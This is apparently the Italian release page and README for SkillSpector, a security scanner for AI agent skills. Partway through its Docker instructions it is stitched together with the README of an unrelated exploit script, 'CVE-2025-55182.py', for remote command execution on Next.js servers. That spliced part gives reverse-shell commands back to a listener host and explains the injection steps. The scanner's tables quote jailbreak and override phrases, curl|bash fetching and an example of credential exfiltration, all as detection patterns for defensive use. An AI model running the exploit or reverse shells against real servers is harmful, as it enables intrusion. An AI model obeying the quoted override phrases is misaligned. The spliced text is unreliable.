Torna agli aggiornamenti
New releaseAug 27, 2026

SkillSpector v2.10.0

Scanner di sicurezza per le skill degli agenti AI. Rileva vulnerabilità, pattern dannosi, rischi di sicurezza, prompt injection, esfiltrazione di dati e rischi della supply chain nelle skill di Claude Code, Codex e MCP prima di installarle.

Condividi

SkillSpector

Scanner di sicurezza per le skill degli agenti AI. Rileva vulnerabilità, pattern malevoli e rischi di sicurezza prima di installare le skill degli agenti.

Python 3.12+ License: Apache 2.0 OpenSSF Scorecard

Panoramica

Le skill degli agenti AI (utilizzate da Claude Code, Codex CLI, Gemini CLI, ecc.) vengono eseguite con una fiducia implicita e una verifica minima. La ricerca dimostra che il 26,1% delle skill contiene vulnerabilità e il 5,2% mostra una probabile intenzione malevola.

SkillSpector ti aiuta a rispondere alla domanda: "Questa skill è sicura da installare?"

SkillSpector fa parte della pipeline NVIDIA Verified Skills, che analizza, valuta e firma le skill degli agenti prima della pubblicazione. Le skill che superano i controlli vengono pubblicate nel catalogo delle skill NVIDIA.

Documentazione

Funzionalità

  • Input multi-formato: scansiona repository Git, URL, file zip, directory o singoli file
  • 71 pattern di vulnerabilità in 17 categorie: prompt injection, esfiltrazione di dati, escalation di privilegi, supply chain, agency eccessiva, gestione dell'output, fuga del system prompt, avvelenamento della memoria, uso improprio degli strumenti, agente rogue, anti-rifiuto, abuso dei trigger, codice pericoloso (AST), taint tracking, firme YARA, privilegio minimo MCP e avvelenamento degli strumenti MCP
  • Analisi in due fasi: analisi statica rapida + valutazione semantica LLM opzionale
  • Ricerche di vulnerabilità in tempo reale: SC4 interroga OSV.dev per dati CVE in tempo reale con fallback offline automatico
  • Formati di output multipli: report per terminale, JSON, Markdown e SARIF
  • Punteggio di rischio: punteggio da 0 a 100 con etichette di gravità e raccomandazioni chiare
  • Baseline / soppressione dei falsi positivi: accetta risultati noti tramite una regola glob o una baseline di fingerprint, così le ri-scansioni evidenziano solo i problemi nuovi (documentazione)

Avvio rapido

Installazione

Avviso sul software open source: Questo progetto scaricherà e installerà ulteriori progetti software open source di terze parti. Esamina i termini di licenza di questi progetti open source prima dell'uso.

Crea e attiva prima un ambiente virtuale (tutti i target di make presuppongono che il venv sia attivo). Usa uv o pip; il Makefile usa uv se disponibile, altrimenti pip.

Installazione rapida con uv (solo CLI):```bash uv tool install git+https://github.com/NVIDIA/skillspector.git

Update later: uv tool update skillspector

Se prevedi di eseguire `skillspector mcp`, installa l'extra MCP al momento dell'installazione:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'

Dalla fonte:```bash

Clone the repository

git clone https://github.com/NVIDIA/skillspector.git cd skillspector

Create and activate virtual environment

uv venv .venv && source .venv/bin/activate

or: python3 -m venv .venv && source .venv/bin/activate

Install for production use

make install

Or install with development dependencies

make install-dev

### Docker (nessun Python richiesto)

Esegui SkillSpector senza installare Python compilandolo localmente dal [Dockerfile](https://github.com/nvidia/skillspector/blob/main/Dockerfile) incluso. L'immagine si basa sull'immagine Docker Official Python `3.12-slim-bookworm`.

**Compila l'immagine:**```bash
make docker-build
# or: docker build -t skillspector .

Scansiona una directory locale montando la tua directory corrente in /scan, la directory di lavoro del container:```bash docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm

**Scansione con analisi LLM** passando le credenziali tramite un file `.env` locale:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF

Utilizzo

python3 CVE-2025-55182.py -u <URL> [--cmd <command>] [--lhost <IP>] [--lport <PORT>] [--revshell <type>] [--proxy <URL>] [--no-color]

Argomenti

ArgomentoDescrizione
-u, --urlURL di destinazione (obbligatorio)
--cmdEsegue un singolo comando e termina
--lhostIP in ascolto per la reverse shell
--lportPorta in ascolto per la reverse shell
--revshellTipo di reverse shell: bash, nc, python, python3, perl, php, ruby, powershell
--proxyProxy HTTP(S) (es. http://127.0.0.1:8080)
--no-colorDisabilita l'output colorato

Esempi

# Modalità interattiva (shell predefinita)
python3 CVE-2025-55182.py -u http://target:3000

# Esegue un singolo comando
python3 CVE-2025-55182.py -u http://target:3000 --cmd "id"

# Reverse shell bash
python3 CVE-2025-55182.py -u http://target:3000 --lhost 10.10.14.5 --lport 4444 --revshell bash

# Reverse shell Python3
python3 CVE-2025-55182.py -u http://target:3000 --lhost 10.10.14.5 --lport 4444 --revshell python3

# Reverse shell PowerShell
python3 CVE-2025-55182.py -u http://target:3000 --lhost 10.10.14.5 --lport 4444 --revshell powershell

# Tramite proxy (Burp Suite)
python3 CVE-2025-55182.py -u http://target:3000 --proxy http://127.0.0.1:8080

Modalità interattiva

Quando viene eseguito senza --cmd o --revshell, lo script entra in una shell interattiva:

[+] Shell interattiva avviata. Digita 'exit' per uscire.
$ id
uid=1000(node) gid=1000(node) groups=1000(node)
$ whoami
node
$ exit

Come funziona

  1. Invia una richiesta POST a /_next/action con un payload multipart che contiene un oggetto $ACTION_REF_1 con un riferimento a un modulo inesistente.
  2. Il server React risponde con un errore che rivela il percorso del modulo e il contesto di esecuzione.
  3. Invia un secondo payload che sfrutta il meccanismo di risoluzione dei moduli per iniettare un comando tramite child_process.execSync.
  4. Il comando viene eseguito sul server e l'output viene restituito nella risposta.

Mitigazione

  • Aggiorna React alla versione più recente (React 19.2.1 o successiva) che corregge la vulnerabilità.
  • Aggiorna Next.js all'ultima versione stabile.
  • Limita l'accesso agli endpoint /_next/action tramite un WAF o regole di reverse proxy.
  • Esegui il server Node.js con privilegi minimi e in un ambiente isolato (container, sandbox).
  • Monitora i log per richieste sospette a /_next/action con payload insoliti.

Riferimenti

Licenza

Questo progetto è distribuito con licenza MIT. Vedi il file LICENSE per i dettagli.

Disclaimer

Questo strumento è fornito solo a scopo educativo e di ricerca sulla sicurezza. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Usalo solo su sistemi di tua proprietà o per i quali hai ricevuto autorizzazione esplicita.```bash docker run --rm
-v "$PWD:/scan"
--env-file .env
skillspector scan ./my-skill/

Oppure passa le credenziali direttamente dal tuo ambiente shell:```bash
docker run --rm \
  -v "$PWD:/scan" \
  -e SKILLSPECTOR_PROVIDER=anthropic \
  -e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
  skillspector scan ./my-skill/

Scrivi un report sul filesystem dell'host scrivendo nella directory montata:```bash docker run --rm
-v "$PWD:/scan"
skillspector scan ./my-skill/ --no-llm --format json --output report.json

**Alias opzionale** per scansioni statiche ripetute:```bash
alias skillspector-docker='docker run --rm -v "$PWD:/scan" skillspector'
skillspector-docker scan ./my-skill/ --no-llm

Utilizzo di base```bash

Scan a local skill directory

skillspector scan ./my-skill/

Scan a single SKILL.md file

skillspector scan ./SKILL.md

Scan a Git repository

skillspector scan https://github.com/user/my-skill

Scan a zip file

skillspector scan ./my-skill.zip

#### Limiti di dimensione

SkillSpector applica due limiti indipendenti sugli input remoti e sugli archivi per circoscrivere l'impatto di download sovradimensionati e zip bomb:

- **Limite per ingest**: `INGEST_MAX_BYTES` (100 MiB) — applicato ai download URL in streaming, alla dimensione totale non compressa degli archivi zip e all'utilizzo del disco post-clone dei repository Git.
- **Limite per membro zip**: `INGEST_MAX_ZIP_MEMBERS` (10.000) — limita il numero di voci in un singolo zip.

Si noti che il limite di analisi di 1 MB per file (`MAX_FILE_BYTES`) è un limite separato e a valle: circoscrive ciò che i singoli analizzatori leggeranno da una directory già sottoposta a ingest. I limiti di ingest sopra indicati circoscrivono invece quanti contenuti possono essere effettivamente scritti su disco. Una violazione di uno qualsiasi dei limiti di ingest fallisce in modo sicuro con un `IngestLimitExceededError`.

### Formati di output```bash
# Terminal output (default) - pretty formatted
skillspector scan ./my-skill/

# JSON output - machine readable
skillspector scan ./my-skill/ --format json --output report.json

# Markdown output - for documentation
skillspector scan ./my-skill/ --format markdown --output report.md

# SARIF output - for CI/CD integration and IDE tooling
skillspector scan ./my-skill/ --format sarif --output report.sarif

Scansione in Batch

Scansiona intere directory di skill in parallelo da contrib/batch_scan/:```bash python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm python -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json python -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20

Supporta il rilevamento multilingue (zh/ja/ko) e l'output in terminale/JSON/Markdown.

Per le scansioni LLM con concorrenza più elevata, configura più chiavi API seguendo
[`.env.example`](https://github.com/nvidia/skillspector/blob/main/contrib/batch_scan/.env.example) — il pool migliora il throughput
e la resilienza, a condizione che le chiavi non condividano un limite di velocità a livello di account.

Consulta la [guida per i contributori](https://github.com/nvidia/skillspector/blob/main/contrib/batch_scan/docs) per i dettagli.

> **Nota sul supporto LLM:** La configurazione predefinita punta a DeepSeek come
> opzione pubblica più economica. DeepSeek-Chat è
> [previsto in dismissione](https://api-docs.deepseek.com/), e il contributore
> non dispone dell'hardware per testare modelli locali. Lo scanner batch è stato
> originariamente testato con endpoint compatibili con OpenAI — la mancanza di
> supporto per l'output strutturato di DeepSeek ha richiesto patch manuali per il parsing JSON. Se puoi
> contribuire con un backend più universale (Ollama, vLLM o un provider diverso),
> le PR sono molto benvenute.

### Soppressione dei falsi positivi (baseline)

Sopprimi i risultati noti/accettati in modo che il punteggio di rischio rifletta solo i problemi
non ancora analizzati e le nuove scansioni facciano emergere solo i risultati *nuovi*. Consulta la
[guida alla soppressione](https://github.com/nvidia/skillspector/blob/main/docs/SUPPRESSION.md) per il riferimento completo.```bash
# Accept all current findings into a baseline (run once), then commit it.
skillspector baseline ./my-skill/ -o .skillspector-baseline.yaml

# Scan against the baseline — only NEW findings are reported and scored.
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml

# Review what was suppressed (still excluded from the score).
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed

Una baseline può anche usare regole glob tolleranti alla deriva (per id regola, percorso file o messaggio) — vedi .skillspector-baseline.example.yaml. Le baseline con fingerprint esatto sono vincolate alle evidenze: modificare il sorgente scansionato o la versione di SkillSpector mantiene il finding attivo finché non viene riesaminato. Quando una baseline selezionata o l'output di una baseline è memorizzato all'interno della directory della skill, SkillSpector esclude quel file esatto dall'analisi dei contenuti, così il suo testo di soppressione non può creare finding o entrare nei fingerprint rigenerati; i file adiacenti rimangono nel normale ambito di scansione.

Analisi LLM

Per ottenere i migliori risultati, configura un endpoint LLM compatibile con OpenAI per l'analisi semantica. Scegli un provider con SKILLSPECTOR_PROVIDER; i provider ospitati includono modelli predefiniti integrati, mentre i provider CLI ricadono sul modello predefinito del runtime locale a meno che SKILLSPECTOR_MODEL non sia impostato. SkillSpector funziona anche con server locali compatibili con OpenAI (Ollama, vLLM, llama.cpp) e gateway di inferenza gestiti.

Provider (SKILLSPECTOR_PROVIDER)Variabile d'ambiente credenzialeEndpointModello predefinito
openaiOPENAI_API_KEY (+ opzionale OPENAI_BASE_URL)api.openai.com (o qualsiasi URL compatibile con OpenAI)gpt-5.4
anthropicANTHROPIC_API_KEYapi.anthropic.comclaude-opus-4-6
anthropic_proxyANTHROPIC_PROXY_API_KEY + ANTHROPIC_PROXY_ENDPOINT_URLQualsiasi proxy raw-predict in stile Vertexclaude-sonnet-4-6
bedrockAWS_PROFILE (opzionale) + AWS_REGION — SigV4 tramite boto3AWS Bedrock Runtimeus.anthropic.claude-sonnet-4-6-20250915-v1:0
nv_buildNVIDIA_INFERENCE_KEYbuild.nvidia.comdeepseek-ai/deepseek-v4-flash
claude_cli(nessuna — usa l'autenticazione CLI locale)binario claude localefallback del runtime Claude locale, o SKILLSPECTOR_MODEL
codex_cli(nessuna — usa l'autenticazione CLI locale)binario codex localefallback del runtime Codex locale, o SKILLSPECTOR_MODEL

Stock OpenAI

export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=sk-... skillspector scan ./my-skill/

Anthropic

export SKILLSPECTOR_PROVIDER=anthropic export ANTHROPIC_API_KEY=sk-ant-... skillspector scan ./my-skill/

Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)

export SKILLSPECTOR_PROVIDER=anthropic_proxy export ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict export ANTHROPIC_PROXY_API_KEY=your-bearer-token export SKILLSPECTOR_MODEL=claude-sonnet-4-6 skillspector scan ./my-skill/

AWS Bedrock (Claude via SigV4)

export SKILLSPECTOR_PROVIDER=bedrock

Optional: select an AWS named profile. When unset, the standard

boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.

export AWS_PROFILE=my-profile

export AWS_REGION=us-west-2 # default if unset

Default model: us.anthropic.claude-sonnet-4-6-20250915-v1:0

Override with any Bedrock model ID, cross-region inference-profile

ID, or your own application-inference-profile ARN:

export SKILLSPECTOR_MODEL=us.anthropic.claude-opus-4-6-20250915-v1:0

skillspector scan ./my-skill/

NVIDIA build.nvidia.com

export SKILLSPECTOR_PROVIDER=nv_build export NVIDIA_INFERENCE_KEY=nvapi-... skillspector scan ./my-skill/

Local Claude CLI — no API key; uses your existing claude auth login session

Requires: claude CLI installed and authenticated (claude auth login)

export SKILLSPECTOR_PROVIDER=claude_cli

Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.

export SKILLSPECTOR_MODEL=claude-sonnet-4-6

skillspector scan ./my-skill/

Local Codex CLI — no API key; uses your existing codex login session

Requires: codex CLI installed and authenticated

export SKILLSPECTOR_PROVIDER=codex_cli skillspector scan ./my-skill/

Local Ollama or any OpenAI-compatible endpoint

export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=ollama export OPENAI_BASE_URL=http://localhost:11434/v1 export SKILLSPECTOR_MODEL=llama3.1:8b skillspector scan ./my-skill/

Override the provider's default model

export SKILLSPECTOR_MODEL=gpt-5.2 skillspector scan ./my-skill/

Skip LLM analysis (faster, static analysis only)

skillspector scan ./my-skill/ --no-llm

### MCP Server

Esegui SkillSpector come server [Model Context Protocol](https://modelcontextprotocol.io)
in modo che qualsiasi agente compatibile con MCP (Claude Code, Codex CLI, Gemini CLI) o runtime
remoto possa invocare la scansione come strumento e **bloccare le installazioni di skill/MCP in base al
risultato** — trasformando SkillSpector in una barriera di sicurezza a runtime invece che in un
passaggio di audit fuori banda.

`skillspector mcp` richiede `skillspector[mcp]`.```bash
# Install, or reinstall if you already used the CLI-only path
uv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'

# FastMCP stdio transport for local CLI agents
skillspector mcp

# streamable HTTP/SSE transport for remote / A2A callers
skillspector mcp --transport http --host 127.0.0.1 --port 8000

Il transport stdio è l'attuale percorso FastMCP per gli agenti CLI locali, e il blocco dell'inizializzazione segnalato nella issue #199 vale ancora in quel contesto.

Il server espone un singolo tool:

  • scan_skill(target, use_llm=true, output_format="json") — analizza un URL Git, un URL file, un file .zip, .md, o una directory e restituisce un verdetto strutturato: risk_score (0-100), severity, recommendation, safe_to_install, e findings. Riporta anche llm_used / scan_mode così che un punteggio basso derivante da una scansione solo statica non venga mai scambiato per una scansione completa pulita.

Registralo con Claude Code tramite:```bash claude mcp add skillspector -- skillspector mcp

> **Sicurezza — modello di fiducia del trasporto HTTP**
>
> Il trasporto HTTP viene fornito **senza autenticazione**. Qualsiasi chiamante che riesca a
> raggiungere la porta può invocare `scan_skill`. Su stdio o `127.0.0.1` questo rappresenta
> lo stesso confine di fiducia della CLI. Se si esegue il binding su un'interfaccia instradabile:
>
> - Collocare il server dietro un reverse proxy con autenticazione (ad es. nginx + mTLS)
>   prima di esporlo esternamente.
> - I percorsi locali e gli URL `file://` vengono **automaticamente rifiutati** su HTTP per
>   impedire a chiamanti non autenticati di leggere file arbitrari dell'host. Sono accettati
>   solo URL Git remoti e `.zip`.

## Pattern di vulnerabilità

SkillSpector rileva **71 pattern di vulnerabilità** in 17 categorie:

### Prompt Injection (6 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| P1 | Instruction Override | HIGH | Comandi per ignorare i vincoli di sicurezza |
| P2 | Hidden Instructions | HIGH | Direttive malevole in commenti/testo invisibile |
| P3 | Exfiltration Commands | HIGH | Istruzioni per trasmettere il contesto all'esterno |
| P4 | Behavior Manipulation | MEDIUM | Istruzioni subdole che alterano le decisioni dell'agente |
| P5 | Harmful Content | CRITICAL | Istruzioni che potrebbero causare danni fisici |
| P9 | Whitespace Padding | MEDIUM | Ampio riempimento di spazi bianchi che nasconde istruzioni sotto/accanto all'area visibile |

### Anti-Refusal (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| AR1 | Refusal Suppression | HIGH | Istruzioni a non rifiutare mai o a conformarsi sempre (ad es. "never refuse", "always comply") |
| AR2 | Disclaimer Suppression | HIGH | Istruzioni a omettere avvertenze, disclaimer o commenti etici (ad es. "no disclaimers", "do not moralize") |
| AR3 | Safety Policy Nullification | HIGH | Inquadramento jailbreak che annulla le protezioni (ad es. "you have no restrictions", "ignore your guidelines", "do anything now") |

### Data Exfiltration (4 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| E1 | External Transmission | MEDIUM | Invio di dati a URL esterni |
| E2 | Env Variable Harvesting | HIGH | Enumerazione, copia o ricerca di dati d'ambiente per raccogliere segreti |
| E3 | File System Enumeration | MEDIUM | Scansione di directory alla ricerca di file sensibili |
| E4 | Context Leakage | HIGH | Trasmissione del contesto della conversazione all'esterno |

### Privilege Escalation (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| PE1 | Excessive Permissions | LOW | Richiesta di accesso oltre la funzionalità dichiarata |
| PE2 | Sudo/Root Execution | MEDIUM | Invocazione di privilegi di sistema elevati |
| PE3 | Credential Access | HIGH | Lettura di chiavi SSH, token, password |

### Supply Chain (9+ pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| SC1 | Unpinned Dependencies | LOW | Nessun vincolo di versione sui pacchetti |
| SC2 | External Script Fetching | HIGH | curl \| bash ed esecuzione di codice remoto |
| SC3 | Obfuscated Code | HIGH | Esecuzione codificata in Base64/hex |
| SC4 | Known Vulnerable Dependencies | HIGH | Dipendenze con CVE note (ricerca live su OSV.dev) |
| SC5 | Abandoned Dependencies | MEDIUM | Pacchetti non mantenuti senza aggiornamenti di sicurezza |
| SC6 | Typosquatting | HIGH | Nomi di pacchetti simili a pacchetti popolari |
| SC8 | Shipped Python Bytecode | HIGH | `__pycache__` / `.pyc` presenti (la discovery li salta; bypass tramite bytecode malevolo) |
| SC9 | Concealed Executable Artifact | HIGH | Eseguibile annidato in un contenitore documento o artefatto nascosto/mascherato |

### Excessive Agency (5 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| EA1 | Unrestricted Tool Access | HIGH | Accesso illimitato agli strumenti senza vincoli |
| EA2 | Autonomous Decision Making | HIGH | Decisioni ad alto impatto senza intervento umano |
| EA3 | Scope Creep | MEDIUM | Capacità che si estendono oltre lo scopo dichiarato |
| EA4 | Unbounded Resource Access | MEDIUM | Nessun limite di frequenza o quota sul consumo di risorse |
| EA5 | External Model or Provider Selection | MEDIUM/HIGH | Pin di modello/provider o shell-out di CLI di coding che possono cambiare account di fatturazione |

### Output Handling (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| OH1 | Unvalidated Output Injection | HIGH | Output del modello usato senza sanitizzazione |
| OH2 | Cross-Context Output | MEDIUM | L'output attraversa confini di fiducia senza validazione |
| OH3 | Unbounded Output | MEDIUM | Nessun limite alla dimensione dell'output o alla frequenza di generazione |

### System Prompt Leakage (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| P6 | Direct Leakage | HIGH | Istruzioni che espongono system prompt o regole interne |
| P7 | Indirect Extraction | MEDIUM | Estrazione tramite riformulazione, traduzione o canali laterali |
| P8 | Tool-Based Exfiltration | HIGH | System prompt esfiltrati tramite scritture su file o richieste di rete |

### Memory Poisoning (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| MP1 | Persistent Context Injection | HIGH | Contenuto progettato per persistere tra le interazioni |
| MP2 | Context Window Stuffing | MEDIUM | Contenuto riempitivo che spiazza i vincoli di sicurezza |
| MP3 | Memory Manipulation | HIGH | Manomissione della memoria dell'agente o dello stato memorizzato |

### Tool Misuse (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| TM1 | Tool Parameter Abuse | HIGH | Parametri costruiti ad arte per comportamenti non previsti (shell=True, --force) |
| TM2 | Chaining Abuse | HIGH | Catene di strumenti che aggirano i singoli controlli di sicurezza |
| TM3 | Unsafe Defaults | MEDIUM | Default eccessivamente permissivi (TLS disabilitato, nessuna autenticazione) |

### Rogue Agent (2 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| RA1 | Self-Modification | CRITICAL | Modifica del proprio codice o configurazione a runtime |
| RA2 | Session Persistence | HIGH | Persistenza non autorizzata tramite cron job o script di avvio |

### Trigger Abuse (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| TR1 | Overly Broad Trigger | MEDIUM | Pattern di trigger che corrispondono a parole comuni |
| TR2 | Shadow Command Trigger | HIGH | Trigger che oscurano comandi integrati o altre skill |
| TR3 | Keyword Baiting Trigger | MEDIUM | Trigger generici progettati per massimizzare l'attivazione |

### Behavioral AST (9 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| AST1 | exec() Call | CRITICAL | exec() diretto che consente l'esecuzione di codice arbitrario |
| AST2 | eval() Call | HIGH | eval() diretto che valuta espressioni arbitrarie |
| AST3 | Dynamic Import | HIGH | \_\_import\_\_() che carica moduli arbitrari a runtime |
| AST4 | subprocess Call | HIGH | Esecuzione di comandi esterni tramite subprocess |
| AST5 | os.system / exec-family | HIGH | Comandi shell tramite il modulo os |
| AST6 | compile() Call | MEDIUM | Creazione di oggetti codice da stringhe |
| AST7 | Dynamic getattr() | MEDIUM | Accesso ad attributi arbitrari con nomi non letterali |
| AST8 | Dangerous Execution Chain | CRITICAL | exec/eval combinati con sorgente dinamica (rete, dati codificati) |
| AST9 | Reflective getattr() Sink | HIGH | exec riflessivo tramite `getattr(os,'system')` / `getattr(builtins,'exec')` che elude AST1/AST5 |

### Taint Tracking (5 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| TT1 | Direct Taint Flow | HIGH | I dati fluiscono direttamente da una sorgente a un sink senza sanitizzazione |
| TT2 | Variable-Mediated Taint Flow | MEDIUM | I dati fluiscono dalla sorgente al sink attraverso variabili intermedie |
| TT3 | Credential Exfiltration Chain | CRITICAL | Le credenziali (variabili d'ambiente, segreti) fluiscono verso sink di output di rete |
| TT4 | File Read to Network Exfiltration | HIGH | Il contenuto dei file fluisce verso sink di output di rete |
| TT5 | External Input to Code Execution | CRITICAL | Input di rete o utente fluisce verso sink exec/eval/subprocess |

### YARA Signatures (4 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| YR1 | Malware Match | CRITICAL | Corrispondenza di regola YARA per firme di malware note |
| YR2 | Webshell Match | CRITICAL | Corrispondenza di regola YARA per pattern di webshell |
| YR3 | Cryptominer Match | HIGH | Corrispondenza di regola YARA per indicatori di crypto mining |
| YR4 | Hack Tool / Exploit Match | HIGH | Corrispondenza di regola YARA per hack tool o codice exploit |

### MCP Least Privilege (4 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| LP1 | Underdeclared Capability | HIGH | Il codice usa capacità non elencate nei permessi dichiarati |
| LP2 | Wildcard Permission | MEDIUM | L'elenco dei permessi contiene wildcard (\*, all, full, any) |
| LP3 | Missing Permission Declaration | MEDIUM | Nessun campo permessi ma il codice ha capacità rilevabili |
| LP4 | Overdeclared Permission | LOW | Permesso dichiarato ma nessuna capacità corrispondente trovata nel codice |

### MCP Tool Poisoning (4 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| TP1 | Hidden Instructions | HIGH | Direttive nascoste nei metadati (commenti HTML, caratteri a larghezza zero, base64, data URI) |
| TP2 | Unicode Deception | HIGH | Omoglifi, override RTL, identificatori a script misto nei metadati degli strumenti |
| TP3 | Parameter Description Injection | MEDIUM | Pattern di injection nelle definizioni dei parametri (override, token di sistema, default malevoli) |
| TP4 | Description-Behavior Mismatch | MEDIUM | La descrizione dichiarata dello strumento non corrisponde al comportamento effettivo del codice (basato su LLM) |

Tutti i pattern rilevati sono elencati nelle tabelle sopra.

## Punteggio di rischio

### Calcolo del punteggio

- **Problemi CRITICAL**: +50 punti
- **Problemi HIGH**: +25 punti
- **Problemi MEDIUM**: +10 punti
- **Problemi LOW**: +5 punti
- **Script eseguibili**: moltiplicatore 1.3x

### Livelli di gravità

| Punteggio | Gravità | Raccomandazione |
|-----------|---------|-----------------|
| 0-20 | LOW | SAFE |
| 21-50 | MEDIUM | CAUTION |
| 51-80 | HIGH | DO NOT INSTALL |
| 81-100 | CRITICAL | DO NOT INSTALL |

## Esempio di output

### Output del terminale```
 SkillSpector Security Report  v2.0.0

Skill: suspicious-skill
Source: ./suspicious-skill/
Scanned: 2026-01-29 10:30:00 UTC

        Risk Assessment
 Metric          Value
 Score           78/100
 Severity        HIGH
 Recommendation  DO NOT INSTALL

        Components (3)
 File              Type      Lines  Executable
 SKILL.md          markdown    142  No
 scripts/sync.py   python       87  Yes
 requirements.txt  text          3  No

Issues (2)

  HIGH: Env Variable Harvesting (E2)
    Location: scripts/sync.py:23
    Finding: for key, val in os.environ.items():...
    Confidence: 94%
    Explanation: This code collects environment variables containing
    API keys and secrets, then sends them to an external server.

  HIGH: External Transmission (E1)
    Location: scripts/sync.py:45
    Finding: requests.post("https://api.skill.io/env"...
    Confidence: 89%
    Explanation: Data is being sent to an external server. Combined
    with env harvesting above, this indicates credential exfiltration.

Configurazione

Variabili d'ambiente

VariabileDescrizioneRichiesta
SKILLSPECTOR_PROVIDERProvider LLM attivo: openai, anthropic, anthropic_proxy, bedrock, nv_build, claude_cli, codex_cli o gemini_cli. I provider ospitati utilizzano i valori predefiniti del file model_registry.yaml incluso; claude_cli e codex_cli ricadono sul modello predefinito del runtime CLI locale a meno che non sia impostato SKILLSPECTOR_MODEL. Il valore predefinito è nv_build.Opzionale
NVIDIA_INFERENCE_KEYCredenziale per il provider nv_build (build.nvidia.com).Richiesta per l'analisi LLM quando SKILLSPECTOR_PROVIDER=nv_build
OPENAI_API_KEYCredenziale per il provider OpenAI (SKILLSPECTOR_PROVIDER=openai). Funge anche da fallback di livello 2 nella cascata delle credenziali quando il provider attivo non restituisce credenziali.Richiesta per l'analisi LLM quando SKILLSPECTOR_PROVIDER=openai
OPENAI_BASE_URLSostituisce l'endpoint OpenAI (ad es. per puntare a Ollama).Opzionale
SKILLSPECTOR_REASONING_EFFORTImpostazione opzionale dello sforzo di ragionamento, dipendente dal provider e dal modello. I valori non vuoti vengono ripuliti dagli spazi e passati invariati; se non impostata o vuota, mantiene il comportamento predefinito del provider.Opzionale
SKILLSPECTOR_OUTPUT_LANGUAGEEtichetta di lingua breve, su una sola riga (lettere, numeri, spazi, _ o -; massimo 64 caratteri) per il testo leggibile dall'uomo dei risultati LLM, come messaggi, spiegazioni e remediation. Gli ID delle regole, i valori di severità, i percorsi, il codice e altri valori leggibili dalla macchina rimangono invariati. Valori non impostati, vuoti o non validi mantengono la lingua di output predefinita.Opzionale
SKILLSPECTOR_TEMPERATURETemperatura di campionamento opzionale da 0 a 1 per i provider ospitati. Se non impostata o vuota, mantiene il valore predefinito del provider. Valori più bassi possono ridurre la variazione tra esecuzioni ma non garantiscono un output identico.Opzionale
SKILLSPECTOR_SEEDSeed di campionamento intero opzionale per i provider compatibili con OpenAI e Azure OpenAI. Gli altri provider ospitati e i provider CLI non lo ricevono. Il supporto da parte dei provider rimane dipendente dal modello.Opzionale
ANTHROPIC_API_KEYCredenziale per il provider Anthropic (SKILLSPECTOR_PROVIDER=anthropic).Richiesta per l'analisi LLM quando SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_BASE_URLSostituisce l'endpoint nativo Anthropic (predefinito: https://api.anthropic.com).Opzionale
ANTHROPIC_PROXY_ENDPOINT_URLURL completo dell'endpoint per il provider proxy Anthropic (raw-predict in stile Vertex).Richiesta quando SKILLSPECTOR_PROVIDER=anthropic_proxy
ANTHROPIC_PROXY_API_KEYToken Bearer per il provider proxy Anthropic.Richiesta quando SKILLSPECTOR_PROVIDER=anthropic_proxy
ANTHROPIC_PROXY_API_VERSIONValore anthropic_version inviato nel corpo della richiesta (predefinito: vertex-2023-10-16).Opzionale
AWS_PROFILEProfilo AWS denominato per il provider Bedrock — autentica tramite SigV4 attraverso boto3. Se non impostato, viene risolta la catena di credenziali standard di boto3 (variabili d'ambiente, metadati dell'istanza, SSO, ecc.).Opzionale (utilizzata quando SKILLSPECTOR_PROVIDER=bedrock)
AWS_REGIONRegione AWS per l'endpoint Bedrock Runtime. Il valore predefinito è us-west-2.Opzionale (utilizzata quando SKILLSPECTOR_PROVIDER=bedrock)
SKILLSPECTOR_MODELSostituisce il modello del provider attivo. Per i provider ospitati, sostituisce il valore predefinito incluso nella tabella LLM Analysis. Per claude_cli e codex_cli, viene inoltrato come --model invece di utilizzare il fallback del runtime CLI locale.Opzionale
SKILLSPECTOR_MODEL_REGISTRYSostituisce il registro YAML incluso per provider (src/skillspector/providers/<provider>/model_registry.yaml) con un percorso personalizzato.Opzionale
SKILLSPECTOR_LOG_LEVELLivello di log: DEBUG, INFO, WARNING, ERROR (predefinito: WARNING).Opzionale

